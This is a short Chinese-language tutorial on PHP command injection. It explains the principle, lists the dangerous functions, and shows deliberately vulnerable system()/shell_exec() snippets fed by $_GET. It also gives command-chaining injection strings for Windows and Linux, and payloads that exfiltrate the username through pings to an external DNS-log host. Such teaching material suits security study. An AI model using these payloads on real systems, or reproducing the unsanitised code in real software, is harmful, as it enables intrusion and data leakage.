命令执行漏洞

原理

应用程序有时候需要调用一些执行系统命令的函数,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中、从而造成命令执行攻击、这就是命令执行漏洞。

常用函数

  • system

    用来执行一个外部应用程序并将相应的执行结果输出

  • passthru

    可以用来执行一个unix系统命令并显示原始的输出

  • exec

    用来执行一个外部的应用程序

  • eval

    函数会将参数字符串作为php程序代码来执行

system函数

1
2
3
4
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

windows支持

| 直接执行后面的语句 ping 127.0.0.1 | whoami

|| 前面的语句为假、执行后面的。ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

linux支持

; 前面的执行完执行后面的 ping 127.0.0.1;whoami

| 显示后面的执行结果 ping 127.0.0.1 | whoami

|| 当前面的执行出错时执行后面的 ping 2 || whoami

& 当前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1 & whoami

&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

案例

system函数

1
2
3
4
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

shell_exec函数

1
2
3
4
5
<?php
highlight_file(_FILE_);
$ip = $_GET['ip'];
$addr = shell_exec('ping '.$ip);
?>

payload

?ip=12|ping %username%.znbth5.dnslog.cn

https://blog.csdn.net/zhangge3663/article/details/117413265

linux ping -c 3 ‘whoami ‘.znbth5.dnslog.cn

检测

  • 代码审计
  • 漏扫工具
  • 公开漏洞
  • 网站功能点